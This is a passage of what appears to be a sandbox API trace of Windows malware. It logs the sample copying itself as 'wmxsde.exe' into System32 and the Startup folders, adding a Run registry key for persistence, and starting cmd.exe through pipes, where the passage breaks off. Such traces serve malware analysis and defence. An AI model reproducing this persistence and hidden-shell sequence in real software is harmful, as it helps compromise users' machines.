hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d55c8 | out: hHeap=0x5c0000) returned 1 [0203.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x603ad8 | out: hHeap=0x5c0000) returned 1 [0203.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d62e0 | out: hHeap=0x5c0000) returned 1 [0203.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d63c0 | out: hHeap=0x5c0000) returned 1 [0203.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ff070 | out: hHeap=0x5c0000) returned 1 [0203.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fef80 | out: hHeap=0x5c0000) returned 1 [0203.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d6360 | out: hHeap=0x5c0000) returned 1 [0203.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ff048 | out: hHeap=0x5c0000) returned 1 [0203.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x606420 [0203.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x616428 [0203.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603c10 [0203.444] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603c10, Size=0x20) returned 0x5feee0 [0203.444] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5feee0, Size=0x40) returned 0x5d7968 [0203.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603bb0 [0203.444] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603bb0, Size=0x20) returned 0x5feee0 [0203.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6039a0 [0203.444] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6039a0, Size=0x20) returned 0x5fef08 [0203.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603b08 [0203.445] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603b08, Size=0x20) returned 0x5fedf0 [0203.445] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fedf0, Size=0x40) returned 0x5d7a40 [0203.445] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x616428, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe")) returned 0x47 [0203.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x626430 [0203.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x636438 [0203.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603a78 [0203.446] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603a78, Size=0x20) returned 0x5fef30 [0203.446] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fef30, Size=0x40) returned 0x5d7578 [0203.446] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7578, Size=0x80) returned 0x5d7de8 [0203.446] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7de8, Size=0x100) returned 0x604ca0 [0203.446] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0203.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x604ca0 | out: hHeap=0x5c0000) returned 1 [0203.447] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\wmxsde.exe", lpDst=0x626430, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\wmxsde.exe") returned 0x1f [0203.447] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x636438 | out: hHeap=0x5c0000) returned 1 [0203.447] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x626430 | out: hHeap=0x5c0000) returned 1 [0203.448] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x23b8020 [0203.451] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6039b8 [0203.451] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6039b8, Size=0x20) returned 0x5fef30 [0203.451] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603ac0 [0203.451] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603ac0, Size=0x20) returned 0x5fef80 [0203.451] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0203.452] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0203.452] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0203.452] lstrlenW (lpString="kernel32.dll") returned 12 [0203.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fef30 | out: hHeap=0x5c0000) returned 1 [0203.452] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0203.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fef80 | out: hHeap=0x5c0000) returned 1 [0203.452] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0203.452] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\wmxsde.exe" (normalized: "c:\\windows\\system32\\wmxsde.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0204.401] ReadFile (in: hFile=0x240, lpBuffer=0x23b8020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23b8020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0204.418] WriteFile (in: hFile=0x244, lpBuffer=0x23b8020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23b8020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0204.421] ReadFile (in: hFile=0x240, lpBuffer=0x23b8020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23b8020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0204.421] CloseHandle (hObject=0x244) returned 1 [0204.421] CloseHandle (hObject=0x240) returned 1 [0204.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603b20 [0204.422] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603b20, Size=0x20) returned 0x5feff8 [0204.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603b08 [0204.422] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603b08, Size=0x20) returned 0x5fef30 [0204.422] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0204.422] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0204.422] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0204.422] lstrlenW (lpString="kernel32.dll") returned 12 [0204.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fef30 | out: hHeap=0x5c0000) returned 1 [0204.422] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0204.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feff8 | out: hHeap=0x5c0000) returned 1 [0204.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x23b8020 | out: hHeap=0x5c0000) returned 1 [0204.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603bb0 [0204.428] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603bb0, Size=0x20) returned 0x5feff8 [0204.428] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5feff8, Size=0x40) returned 0x5d7b18 [0204.428] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7b18, Size=0x80) returned 0x5d7de8 [0204.428] lstrlenW (lpString="C:\\WINDOWS\\System32\\wmxsde.exe") returned 30 [0204.428] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0204.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x5c) returned 0x604ca0 [0204.429] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0204.429] RegSetValueExW (in: hKey=0x240, lpValueName="wmxsde.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\wmxsde.exe", cbData=0x3c | out: lpData="C:\\WINDOWS\\System32\\wmxsde.exe") returned 0x0 [0204.429] RegCloseKey (hKey=0x240) returned 0x0 [0204.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x604ca0 | out: hHeap=0x5c0000) returned 1 [0204.429] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0204.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7de8 | out: hHeap=0x5c0000) returned 1 [0204.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x626430 [0204.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x636438 [0204.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603c58 [0204.430] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603c58, Size=0x20) returned 0x5fef30 [0204.430] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fef30, Size=0x40) returned 0x5d79f8 [0204.430] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d79f8, Size=0x80) returned 0x646ce8 [0204.430] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x646ce8, Size=0x100) returned 0x647448 [0204.430] lstrlenW (lpString="") returned 0 [0204.430] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0204.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c) returned 0x5d7de8 [0204.430] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0 [0204.431] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x636438, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x636438*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0204.431] RegCloseKey (hKey=0x240) returned 0x0 [0204.431] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7de8 | out: hHeap=0x5c0000) returned 1 [0204.431] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0204.431] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c) returned 0x5d7de8 [0204.431] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0204.432] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x636438, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0204.432] RegCloseKey (hKey=0x244) returned 0x0 [0204.432] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7de8 | out: hHeap=0x5c0000) returned 1 [0204.432] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0204.432] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0204.432] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x647448 | out: hHeap=0x5c0000) returned 1 [0204.433] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe", lpDst=0x626430, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe") returned 0x59 [0204.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x636438 | out: hHeap=0x5c0000) returned 1 [0204.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x626430 | out: hHeap=0x5c0000) returned 1 [0204.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x23be020 [0204.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603bb0 [0204.437] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603bb0, Size=0x20) returned 0x5fef30 [0204.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603a18 [0204.437] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603a18, Size=0x20) returned 0x5fef58 [0204.437] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0204.437] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0204.437] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0204.437] lstrlenW (lpString="kernel32.dll") returned 12 [0204.437] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fef30 | out: hHeap=0x5c0000) returned 1 [0204.437] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0204.437] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fef58 | out: hHeap=0x5c0000) returned 1 [0204.437] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0204.438] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0204.845] ReadFile (in: hFile=0x244, lpBuffer=0x23be020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23be020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0204.859] WriteFile (in: hFile=0x248, lpBuffer=0x23be020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23be020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0204.863] ReadFile (in: hFile=0x244, lpBuffer=0x23be020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23be020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0204.863] CloseHandle (hObject=0x248) returned 1 [0204.945] CloseHandle (hObject=0x244) returned 1 [0204.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6039d0 [0204.945] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6039d0, Size=0x20) returned 0x5fef30 [0204.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603a48 [0204.945] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603a48, Size=0x20) returned 0x5ff020 [0204.945] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0204.945] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0204.945] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0204.945] lstrlenW (lpString="kernel32.dll") returned 12 [0204.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ff020 | out: hHeap=0x5c0000) returned 1 [0204.945] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0204.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fef30 | out: hHeap=0x5c0000) returned 1 [0204.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x23be020 | out: hHeap=0x5c0000) returned 1 [0204.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x626430 [0204.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x636438 [0204.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6039a0 [0204.952] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6039a0, Size=0x20) returned 0x5fef30 [0204.952] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fef30, Size=0x40) returned 0x5d7578 [0204.952] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7578, Size=0x80) returned 0x6464f0 [0204.952] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6464f0, Size=0x100) returned 0x647448 [0204.953] lstrlenW (lpString="") returned 0 [0204.953] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0204.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c) returned 0x5d7de8 [0204.953] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0204.953] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x636438, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0204.953] RegCloseKey (hKey=0x244) returned 0x0 [0204.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7de8 | out: hHeap=0x5c0000) returned 1 [0204.953] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0204.953] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0204.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x647448 | out: hHeap=0x5c0000) returned 1 [0204.953] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe", lpDst=0x626430, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe") returned 0x48 [0204.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x636438 | out: hHeap=0x5c0000) returned 1 [0204.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x626430 | out: hHeap=0x5c0000) returned 1 [0204.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x23b9020 [0204.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603c70 [0204.958] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603c70, Size=0x20) returned 0x5ff070 [0204.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603ac0 [0204.958] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603ac0, Size=0x20) returned 0x5fef30 [0204.958] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0204.959] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0204.959] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0204.959] lstrlenW (lpString="kernel32.dll") returned 12 [0204.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ff070 | out: hHeap=0x5c0000) returned 1 [0204.959] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0204.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fef30 | out: hHeap=0x5c0000) returned 1 [0204.959] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0204.959] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.960] CloseHandle (hObject=0x244) returned 1 [0204.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603b50 [0204.960] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603b50, Size=0x20) returned 0x5fef30 [0204.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603bb0 [0204.960] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603bb0, Size=0x20) returned 0x5fedf0 [0204.960] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0204.960] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0204.960] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0204.960] lstrlenW (lpString="kernel32.dll") returned 12 [0204.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fedf0 | out: hHeap=0x5c0000) returned 1 [0204.961] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0204.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fef30 | out: hHeap=0x5c0000) returned 1 [0204.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x23b9020 | out: hHeap=0x5c0000) returned 1 [0204.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x606420 | out: hHeap=0x5c0000) returned 1 [0204.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x616428 | out: hHeap=0x5c0000) returned 1 [0204.965] lstrlenW (lpString="%windir%\\System32") returned 17 [0204.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7968 | out: hHeap=0x5c0000) returned 1 [0204.965] lstrlenW (lpString="%appdata%") returned 9 [0204.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feee0 | out: hHeap=0x5c0000) returned 1 [0204.965] lstrlenW (lpString="%sh(Startup)%") returned 13 [0204.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fef08 | out: hHeap=0x5c0000) returned 1 [0204.965] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0204.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7a40 | out: hHeap=0x5c0000) returned 1 [0204.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603c70 [0204.965] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603c70, Size=0x20) returned 0x5fef58 [0204.965] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fef58, Size=0x40) returned 0x5d76e0 [0204.965] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d76e0, Size=0x80) returned 0x646b50 [0204.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603c58 [0204.966] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603c58, Size=0x20) returned 0x5feff8 [0204.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fffc) returned 0x606420 [0204.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x626428 [0204.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x636430 [0204.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603c10 [0204.967] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603c10, Size=0x20) returned 0x5ff098 [0204.967] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff098, Size=0x40) returned 0x5d7968 [0204.967] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7968, Size=0x80) returned 0x646ce8 [0204.967] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x646ce8, Size=0x100) returned 0x648450 [0204.967] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0204.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x648450 | out: hHeap=0x5c0000) returned 1 [0204.967] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x626428, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0204.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x636430 | out: hHeap=0x5c0000) returned 1 [0204.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x626428 | out: hHeap=0x5c0000) returned 1 [0204.968] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0204.969] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0204.969] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0204.969] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0204.969] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, 